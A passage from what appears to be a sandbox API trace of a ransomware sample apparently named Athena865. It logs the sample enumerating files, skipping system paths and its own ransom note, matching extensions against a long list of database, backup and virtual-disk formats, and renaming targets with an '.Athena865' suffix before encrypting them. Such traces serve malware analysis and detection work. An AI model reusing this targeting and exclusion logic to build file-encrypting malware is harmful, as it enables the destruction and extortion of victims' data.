dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0059.557] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0059.557] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x388100, lpName=0x0) returned 0x154 [0059.559] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x200000, dwNumberOfBytesToMap=0x188100) returned 0x2d50000 [0059.644] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x3000000 [0059.724] UnmapViewOfFile (lpBaseAddress=0x3000000) returned 1 [0059.746] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ef8) returned 1 [0059.747] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0059.747] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0059.747] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0059.747] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0059.747] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52dfb8 [0059.747] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0059.747] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dfb8 | out: hHeap=0x4f0000) returned 1 [0059.748] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0059.748] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0059.748] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0059.748] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0059.748] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0059.748] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0059.762] CloseHandle (hObject=0x154) returned 1 [0059.762] CloseHandle (hObject=0x17c) returned 1 [0059.762] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0059.762] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518f80 | out: hHeap=0x4f0000) returned 1 [0059.762] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0059.771] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7c27050, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x15b5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OfficeMUI.xml", cAlternateFileName="OFFICE~2.XML")) returned 1 [0059.771] lstrcmpiW (lpString1="OfficeMUI.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0059.771] lstrcmpiW (lpString1="OfficeMUI.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0059.771] lstrcmpiW (lpString1="OfficeMUI.xml", lpString2=".") returned 1 [0059.771] lstrcmpiW (lpString1="OfficeMUI.xml", lpString2="..") returned 1 [0059.771] lstrcmpiW (lpString1="OfficeMUI.xml", lpString2="windows") returned -1 [0059.771] lstrcmpiW (lpString1="OfficeMUI.xml", lpString2="bootmgr") returned 1 [0059.771] lstrcmpiW (lpString1="OfficeMUI.xml", lpString2="temp") returned -1 [0059.771] lstrcmpiW (lpString1="OfficeMUI.xml", lpString2="pagefile.sys") returned -1 [0059.771] lstrcmpiW (lpString1="OfficeMUI.xml", lpString2="boot") returned 1 [0059.771] lstrcmpiW (lpString1="OfficeMUI.xml", lpString2="ids.txt") returned 1 [0059.771] lstrcmpiW (lpString1="OfficeMUI.xml", lpString2="ntuser.dat") returned 1 [0059.771] lstrcmpiW (lpString1="OfficeMUI.xml", lpString2="perflogs") returned -1 [0059.771] lstrcmpiW (lpString1="OfficeMUI.xml", lpString2="MSBuild") returned 1 [0059.771] lstrlenW (lpString="OfficeMUI.xml") returned 13 [0059.771] lstrcpyW (in: lpString1=0x241e8c6, lpString2="OfficeMUI.xml" | out: lpString1="OfficeMUI.xml") returned="OfficeMUI.xml" [0059.771] lstrlenW (lpString="OfficeMUI.xml") returned 13 [0059.771] lstrlenW (lpString="Athena865") returned 9 [0059.771] lstrcmpiW (lpString1="ceMUI.xml", lpString2="Athena865") returned 1 [0059.771] lstrlenW (lpString=".dll") returned 4 [0059.771] lstrcmpiW (lpString1="OfficeMUI.xml", lpString2=".dll") returned 1 [0059.771] lstrlenW (lpString=".lnk") returned 4 [0059.771] lstrcmpiW (lpString1="OfficeMUI.xml", lpString2=".lnk") returned 1 [0059.772] lstrlenW (lpString=".ini") returned 4 [0059.772] lstrcmpiW (lpString1="OfficeMUI.xml", lpString2=".ini") returned 1 [0059.772] lstrlenW (lpString=".sys") returned 4 [0059.772] lstrcmpiW (lpString1="OfficeMUI.xml", lpString2=".sys") returned 1 [0059.772] lstrlenW (lpString="OfficeMUI.xml") returned 13 [0059.772] lstrlenW (lpString="bak") returned 3 [0059.772] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0059.772] lstrlenW (lpString="ba_") returned 3 [0059.772] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0059.772] lstrlenW (lpString="dbb") returned 3 [0059.772] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0059.772] lstrlenW (lpString="vmdk") returned 4 [0059.772] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0059.772] lstrlenW (lpString="rar") returned 3 [0059.772] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0059.772] lstrlenW (lpString="zip") returned 3 [0059.772] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0059.772] lstrlenW (lpString="tgz") returned 3 [0059.772] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0059.772] lstrlenW (lpString="vbox") returned 4 [0059.772] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0059.772] lstrlenW (lpString="vdi") returned 3 [0059.772] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0059.772] lstrlenW (lpString="vhd") returned 3 [0059.772] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0059.772] lstrlenW (lpString="vhdx") returned 4 [0059.772] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0059.772] lstrlenW (lpString="avhd") returned 4 [0059.772] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0059.772] lstrlenW (lpString="db") returned 2 [0059.772] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0059.772] lstrlenW (lpString="db2") returned 3 [0059.772] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0059.773] lstrlenW (lpString="db3") returned 3 [0059.773] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0059.773] lstrlenW (lpString="dbf") returned 3 [0059.773] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0059.773] lstrlenW (lpString="mdf") returned 3 [0059.773] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0059.773] lstrlenW (lpString="mdb") returned 3 [0059.773] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0059.773] lstrlenW (lpString="sql") returned 3 [0059.773] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0059.773] lstrlenW (lpString="sqlite") returned 6 [0059.773] lstrcmpiW (lpString1="UI.xml", lpString2="sqlite") returned 1 [0059.773] lstrlenW (lpString="sqlite3") returned 7 [0059.773] lstrcmpiW (lpString1="MUI.xml", lpString2="sqlite3") returned -1 [0059.773] lstrlenW (lpString="sqlitedb") returned 8 [0059.773] lstrcmpiW (lpString1="eMUI.xml", lpString2="sqlitedb") returned -1 [0059.773] lstrlenW (lpString="xml") returned 3 [0059.773] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0059.773] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml.Athena865") returned 86 [0059.773] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml.athena865"), dwFlags=0x1) returned 1 [0059.774] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0059.774] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5557) returned 1 [0059.774] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0059.774] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0059.774] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518f80 [0059.775] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ef8) returned 1 [0059.775] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0059.775] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0059.775] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x18c0, lpName=0x0) returned 0x154 [0059.777] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x18c0) returned 0x100000 [0059.788] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ef8) returned 1 [0059.789] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0059.789] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0059.789] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0059.789] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0059.789] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52dfb8 [0059.789] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0059.789] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dfb8 | out: hHeap=0x4f0000) returned 1 [0059.789] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0059.789] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0059.790] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0059.790] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0059.790] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0059.790] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0059.790] CloseHandle (hObject=0x154) returned 1 [0059.790] CloseHandle (hObject=0x17c) returned 1 [0059.790] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0059.790] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518f80 | out: hHeap=0x4f0000) returned 1 [0059.790] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0059.790] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7b68970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OfficeMUISet.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1 [0059.790] lstrcmpiW (lpString1="OfficeMUISet.msi", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0059.790] lstrcmpiW (lpString1="OfficeMUISet.msi", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0059.790] lstrcmpiW (lpString1="OfficeMUISet.msi", lpString2=".") returned 1 [0059.790] lstrcmpiW (lpString1="OfficeMUISet.msi", lpString2="..") returned 1 [0059.790] lstrcmpiW (lpString1="OfficeMUISet.msi", lpString2="windows") returned -1 [0059.791] lstrcmpiW (lpString1="OfficeMUISet.msi", lpString2="bootmgr") returned 1 [0059.791] lstrcmpiW (lpString1="OfficeMUISet.msi", lpString2="temp") returned -1 [0059.791] lstrcmpiW (lpString1="OfficeMUISet.msi", lpString2="pagefile.sys") returned -1 [0059.791] lstrcmpiW (lpString1="OfficeMUISet.msi", lpString2="boot") returned 1 [0059.791] lstrcmpiW (lpString1="OfficeMUISet.msi", lpString2="ids.txt") returned 1 [0059.791] lstrcmpiW (lpString1="OfficeMUISet.msi", lpString2="ntuser.dat") returned 1 [0059.791] lstrcmpiW (lpString1="OfficeMUISet.msi", lpString2="perflogs") returned -1 [0059.791] lstrcmpiW (lpString1="OfficeMUISet.msi", lpString2="MSBuild") returned 1 [0059.791] lstrlenW (lpString="OfficeMUISet.msi") returned 16 [0059.791] lstrcpyW (in: lpString1=0x241e8c6, lpString2="OfficeMUISet.msi" | out: lpString1="OfficeMUISet.msi") returned="OfficeMUISet.msi" [0059.791] lstrlenW (lpString="OfficeMUISet.msi") returned 16 [0059.791] lstrlenW (lpString="Athena865") returned 9 [0059.791] lstrcmpiW (lpString1="UISet.msi", lpString2="Athena865") returned 1 [0059.791] lstrlenW (lpString=".dll") returned 4 [0059.791] lstrcmpiW (lpString1="OfficeMUISet.msi", lpString2=".dll") returned 1 [0059.791] lstrlenW (lpString=".lnk") returned 4 [0059.791] lstrcmpiW (lpString1="OfficeMUISet.msi", lpString2=".lnk") returned 1 [0059.791] lstrlenW (lpString=".ini") returned 4 [0059.791] lstrcmpiW (lpString1="OfficeMUISet.msi", lpString2=".ini") returned 1 [0059.791] lstrlenW (lpString=".sys") returned 4 [0059.791] lstrcmpiW (lpString1="OfficeMUISet.msi", lpString2=".sys") returned 1 [0059.791] lstrlenW (lpString="OfficeMUISet.msi") returned 16 [0059.791] lstrlenW (lpString="bak") returned 3 [0059.791] lstrcmpiW (lpString1="msi", lpString2="bak") returned 1 [0059.791] lstrlenW (lpString="ba_") returned 3 [0059.791] lstrcmpiW (lpString1="msi", lpString2="ba_") returned 1 [0059.791] lstrlenW (lpString="dbb") returned 3 [0059.791] lstrcmpiW (lpString1="msi", lpString2="dbb") returned 1 [0059.791] lstrlenW (lpString="vmdk") returned 4 [0059.791] lstrcmpiW (lpString1=".msi", lpString2="vmdk") returned -1 [0059.791] lstrlenW (lpString="rar") returned 3 [0059.791] lstrcmpiW (lpString1="msi", lpString2="rar") returned -1 [0059.792] lstrlenW (lpString="zip") returned 3 [0059.792] lstrcmpiW (lpString1="msi", lpString2="zip") returned -1 [0059.792] lstrlenW (lpString="tgz") returned 3 [0059.792] lstrcmpiW (lpString1="msi", lpString2="tgz") returned -1 [0059.792] lstrlenW (lpString="vbox") returned 4 [0059.792] lstrcmpiW (lpString1=".msi", lpString2="vbox") returned -1 [0059.792] lstrlenW (lpString="vdi") returned 3 [0059.792] lstrcmpiW (lpString1="msi", lpString2="vdi") returned -1 [0059.792] lstrlenW (lpString="vhd") returned 3 [0059.792] lstrcmpiW (lpString1="msi", lpString2="vhd") returned -1 [0059.792] lstrlenW (lpString="vhdx") returned 4 [0059.792] lstrcmpiW (lpString1=".msi", lpString2="vhdx") returned -1 [0059.792] lstrlenW (lpString="avhd") returned 4 [0059.792] lstrcmpiW (lpString1=".msi", lpString2="avhd") returned -1 [0059.792] lstrlenW (lpString="db") returned 2 [0059.792] lstrcmpiW (lpString1="si", lpString2="db") returned 1 [0059.792] lstrlenW (lpString="db2") returned 3 [0059.792] lstrcmpiW (lpString1="msi", lpString2="db2") returned 1 [0059.792] lstrlenW (lpString="db3") returned 3 [0059.792] lstrcmpiW (lpString1="msi", lpString2="db3") returned 1 [0059.792] lstrlenW (lpString="dbf") returned 3 [0059.792] lstrcmpiW (lpString1="msi", lpString2="dbf") returned 1 [0059.792] lstrlenW (lpString="mdf") returned 3 [0059.792] lstrcmpiW (lpString1="msi", lpString2="mdf") returned 1 [0059.792] lstrlenW (lpString="mdb") returned 3 [0059.792] lstrcmpiW (lpString1="msi", lpString2="mdb") returned 1 [0059.792] lstrlenW (lpString="sql") returned 3 [0059.792] lstrcmpiW (lpString1="msi", lpString2="sql") returned -1 [0059.792] lstrlenW (lpString="sqlite") returned 6 [0059.792] lstrcmpiW (lpString1="et.msi", lpString2="sqlite") returned -1 [0059.792] lstrlenW (lpString="sqlite3") returned 7 [0059.792] lstrcmpiW (lpString1="Set.msi", lpString2="sqlite3") returned -1 [0059.792] lstrlenW (lpString="sqlitedb") returned 8 [0059.793] lstrcmpiW (lpString1="ISet.msi", lpString2="sqlitedb") returned -1 [0059.793] lstrlenW (lpString="xml") returned 3 [0059.793] lstrcmpiW (lpString1="msi", lpString2="xml") returned -1 [0059.793] lstrlenW (lpString="$er") returned 3 [0059.793] lstrcmpiW (lpString1="msi", lpString2="$er") returned 1 [0059.793] lstrlenW (lpString="4dd") returned 3 [0059.793] lstrcmpiW (lpString1="msi", lpString2="4dd") returned 1 [0059.793] lstrlenW (lpString="4dl") returned 3 [0059.793] lstrcmpiW (lpString1="msi", lpString2="4dl") returned 1 [0059.793] lstrlenW (lpString="^^^") returned 3 [0059.793] lstrcmpiW (lpString1="msi", lpString2="^^^") returned 1 [0059.793] lstrlenW (lpString="abs") returned 3 [0059.793] lstrcmpiW (lpString1="msi", lpString2="abs") returned 1 [0059.793] lstrlenW (lpString="abx") returned 3 [0059.793] lstrcmpiW (lpString1="msi", lpString2="abx") returned 1 [0059.793] lstrlenW (lpString="accdb") returned 5 [0059.793] lstrcmpiW (lpString1="t.msi", lpString2="accdb") returned 1 [0059.793] lstrlenW (lpString="accdc") returned 5 [0059.793] lstrcmpiW (lpString1="t.msi", lpString2="accdc") returned 1 [0059.793] lstrlenW (lpString="accde") returned 5 [0059.793] lstrcmpiW (lpString1="t.msi", lpString2="accde") returned 1 [0059.793] lstrlenW (lpString="accdr") returned 5 [0059.793] lstrcmpiW (lpString1="t.msi", lpString2="accdr") returned 1 [0059.793] lstrlenW (lpString="accdt") returned 5 [0059.793] lstrcmpiW (lpString1="t.msi", lpString2="accdt") returned 1 [0059.793] lstrlenW (lpString="accdw") returned 5 [0059.793] lstrcmpiW (lpString1="t.msi", lpString2="accdw") returned 1 [0059.793] lstrlenW (lpString="accft") returned 5 [0059.793] lstrcmpiW (lpString1="t.msi", lpString2="accft") returned 1 [0059.793] lstrlenW (lpString="adb") returned 3 [0059.793] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1 [0059.793] lstrlenW (lpString="adb") returned 3 [0059.794] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1 [0059.794] lstrlenW (lpString="ade") returned 3 [0059.794] lstrcmpiW (lpString1="msi", lpString2="ade") returned 1 [0059.794] lstrlenW (lpString="adf") returned 3 [0059.794] lstrcmpiW (lpString1="msi", lpString2="adf") returned 1 [0059.794] lstrlenW (lpString="adn") returned 3 [0059.794] lstrcmpiW (lpString1="msi", lpString2="adn") returned 1 [0059.794] lstrlenW (lpString="adp") returned 3 [0059.794] lstrcmpiW (lpString1="msi", lpString2="adp") returned 1 [0059.794] lstrlenW (lpString="alf") returned 3 [0059.794] lstrcmpiW (lpString1="msi", lpString2="alf") returned 1 [0059.794] lstrlenW (lpString="ask") returned 3 [0059.794] lstrcmpiW (lpString1="msi", lpString2="ask") returned 1 [0059.794] lstrlenW (lpString="btr") returned 3 [0059.794] lstrcmpiW (lpString1="msi", lpString2="btr") returned 1 [0059.794] lstrlenW (lpString="cat") returned 3 [0059.794] lstrcmpiW (lpString1="msi", lpString2="cat") returned 1 [0059.794] lstrlenW (lpString="cdb") returned 3 [0059.794] lstrcmpiW (lpString1="msi", lpString2="cdb") returned 1 [0059.794] lstrlenW (lpString="ckp") returned 3 [0059.794] lstrcmpiW (lpString1="msi", lpString2="ckp") returned 1 [0059.794] lstrlenW (lpString="cma") returned 3 [0059.794] lstrcmpiW (lpString1="msi", lpString2="cma") returned 1 [0059.794] lstrlenW (lpString="cpd") returned 3 [0059.794] lstrcmpiW (lpString1="msi", lpString2="cpd") returned 1 [0059.794] lstrlenW (lpString="dacpac") returned 6 [0059.794] lstrcmpiW (lpString1="et.msi", lpString2="dacpac") returned 1 [0059.794] lstrlenW (lpString="dad") returned 3 [0059.794] lstrcmpiW (lpString1="msi", lpString2="dad") returned 1 [0059.794] lstrlenW (lpString="dadiagrams") returned 10 [0059.794] lstrcmpiW (lpString1="MUISet.msi", lpString2="dadiagrams") returned 1 [0059.794] lstrlenW (lpString="daschema") returned 8 [0059.794] lstrcmpiW (lpString1="ISet.msi", lpString2="daschema") returned 1 [0059.794] lstrlenW (lpString="db-journal") returned 10 [0059.795] lstrcmpiW (lpString1="MUISet.msi", lpString2="db-journal") returned 1 [0059.795] lstrlenW (lpString="db-shm") returned 6 [0059.795] lstrcmpiW (lpString1="et.msi", lpString2="db-shm") returned 1 [0059.795] lstrlenW (lpString="db-wal") returned 6 [0059.795] lstrcmpiW (lpString1="et.msi", lpString2="db-wal") returned 1 [0059.795] lstrlenW (lpString="dbc") returned 3 [0059.795] lstrcmpiW (lpString1="msi", lpString2="dbc") returned 1 [0059.795] lstrlenW (lpString="dbs") returned 3 [0059.795] lstrcmpiW (lpString1="msi", lpString2="dbs") returned 1 [0059.795] lstrlenW (lpString="dbt") returned 3 [0059.795] lstrcmpiW (lpString1="msi", lpString2="dbt") returned 1 [0059.795] lstrlenW (lpString="dbv") returned 3 [0059.795] lstrcmpiW (lpString1="msi", lpString2="dbv") returned 1 [0059.795] lstrlenW (lpString="dbx") returned 3 [0059.795] lstrcmpiW (lpString1="msi", lpString2="dbx") returned 1 [0059.795] lstrlenW (lpString="dcb") returned 3 [0059.795] lstrcmpiW (lpString1="msi", lpString2="dcb") returned 1 [0059.795] lstrlenW (lpString="dct") returned 3 [0059.795] lstrcmpiW (lpString1="msi", lpString2="dct") returned 1 [0059.795] lstrlenW (lpString="dcx") returned 3 [0059.795] lstrcmpiW (lpString1="msi", lpString2="dcx") returned 1 [0059.795] lstrlenW (lpString="ddl") returned 3 [0059.795] lstrcmpiW (lpString1="msi", lpString2="ddl") returned 1 [0059.795] lstrlenW (lpString="dlis") returned 4 [0059.795] lstrcmpiW (lpString1=".msi", lpString2="dlis") returned -1 [0059.795] lstrlenW (lpString="dp1") returned 3 [0059.795] lstrcmpiW (lpString1="msi", lpString2="dp1") returned 1 [0059.795] lstrlenW (lpString="dqy") returned 3 [0059.795] lstrcmpiW (lpString1="msi", lpString2="dqy") returned 1 [0059.795] lstrlenW (lpString="dsk") returned 3 [0059.795] lstrcmpiW (lpString1="msi", lpString2="dsk") returned 1 [0059.795] lstrlenW (lpString="dsn") returned 3 [0059.795] lstrcmpiW (lpString1="msi", lpString2="dsn") returned 1 [0059.795] lstrlenW (lpString="dtsx") returned 4 [0059.796] lstrcmpiW (lpString1=".msi", lpString2="dtsx") returned -1 [0059.796] lstrlenW (lpString="dxl") returned 3 [0059.796] lstrcmpiW (lpString1="msi", lpString2="dxl") returned 1 [0059.796] lstrlenW (lpString="eco") returned 3 [0059.796] lstrcmpiW (lpString1="msi", lpString2="eco") returned 1 [0059.796] lstrlenW (lpString="ecx") returned 3 [0059.796] lstrcmpiW (lpString1="msi", lpString2="ecx") returned 1 [0059.796] lstrlenW (lpString="edb") returned 3 [0059.796] lstrcmpiW (lpString1="msi", lpString2="edb") returned 1 [0059.796] lstrlenW (lpString="epim") returned 4 [0059.796] lstrcmpiW (lpString1=".msi", lpString2="epim") returned -1 [0059.796] lstrlenW (lpString="fcd") returned 3 [0059.796] lstrcmpiW (lpString1="msi", lpString2="fcd") returned 1 [0059.796] lstrlenW (lpString="fdb") returned 3 [0059.796] lstrcmpiW (lpString1="msi", lpString2="fdb") returned 1 [0059.796] lstrlenW (lpString="fic") returned 3 [0059.796] lstrcmpiW (lpString1="msi", lpString2="fic") returned 1 [0059.796] lstrlenW (lpString="flexolibrary") returned 12 [0059.796] lstrcmpiW (lpString1="ceMUISet.msi", lpString2="flexolibrary") returned -1 [0059.796] lstrlenW (lpString="fm5") returned 3 [0059.796] lstrcmpiW (lpString1="msi", lpString2="fm5") returned 1 [0059.796] lstrlenW (lpString="fmp") returned 3 [0059.796] lstrcmpiW (lpString1="msi", lpString2="fmp") returned 1 [0059.796] lstrlenW (lpString="fmp12") returned 5 [0059.796] lstrcmpiW (lpString1="t.msi", lpString2="fmp12") returned 1 [0059.796] lstrlenW (lpString="fmpsl") returned 5 [0059.796] lstrcmpiW (lpString1="t.msi", lpString2="fmpsl") returned 1 [0059.796] lstrlenW (lpString="fol") returned 3 [0059.796] lstrcmpiW (lpString1="msi", lpString2="fol") returned 1 [0059.796] lstrlenW (lpString="fp3") returned 3 [0059.796] lstrcmpiW (lpString1="msi", lpString2="fp3") returned 1 [0059.796] lstrlenW (lpString="fp4") returned 3 [0059.796] lstrcmpiW (lpString1="msi", lpString2="fp4") returned 1 [0059.797] lstrlenW (lpString="fp5") returned 3 [0059.797] lstrcmpiW (lpString1="msi", lpString2="fp5") returned 1 [0059.797] lstrlenW (lpString="fp7") returned 3 [0059.798] lstrcmpiW (lpString1="msi", lpString2="fp7") returned 1 [0059.798] lstrlenW (lpString="fpt") returned 3 [0059.798] lstrcmpiW (lpString1="msi", lpString2="fpt") returned 1 [0059.798] lstrlenW (lpString="frm") returned 3 [0059.798] lstrcmpiW (lpString1="msi", lpString2="frm") returned 1 [0059.798] lstrlenW (lpString="gdb") returned 3 [0059.798] lstrcmpiW (lpString1="msi", lpString2="gdb") returned 1 [0059.798] lstrlenW (lpString="gdb") returned 3 [0059.798] lstrcmpiW (lpString1="msi", lpString2="gdb") returned 1 [0059.798] lstrlenW (lpString="grdb") returned 4 [0059.798] lstrcmpiW (lpString1=".msi", lpString2="grdb") returned -1 [0059.798] lstrlenW (lpString="gwi") returned 3 [0059.798] lstrcmpiW (lpString1="msi", lpString2="gwi") returned 1 [0059.798] lstrlenW (lpString="hdb") returned 3 [0059.798] lstrcmpiW (lpString1="msi", lpString2="hdb") returned 1 [0059.798] lstrlenW (lpString="his") returned 3 [0059.798] lstrcmpiW (lpString1="msi", lpString2="his") returned 1 [0059.798] lstrlenW (lpString="ib") returned 2 [0059.798] lstrcmpiW (lpString1="si", lpString2="ib") returned 1 [0059.798] lstrlenW (lpString="idb") returned 3 [0059.798] lstrcmpiW (lpString1="msi", lpString2="idb") returned 1 [0059.798] lstrlenW (lpString="ihx") returned 3 [0059.798] lstrcmpiW (lpString1="msi", lpString2="ihx") returned 1 [0059.798] lstrlenW (lpString="itdb") returned 4 [0059.798] lstrcmpiW (lpString1=".msi", lpString2="itdb") returned -1 [0059.799] lstrlenW (lpString="itw") returned 3 [0059.799] lstrcmpiW (lpString1="msi", lpString2="itw") returned 1 [0059.799] lstrlenW (lpString="jet") returned 3 [0059.799] lstrcmpiW (lpString1="msi", lpString2="jet") returned 1 [0059.799] lstrlenW (lpString="jtx") 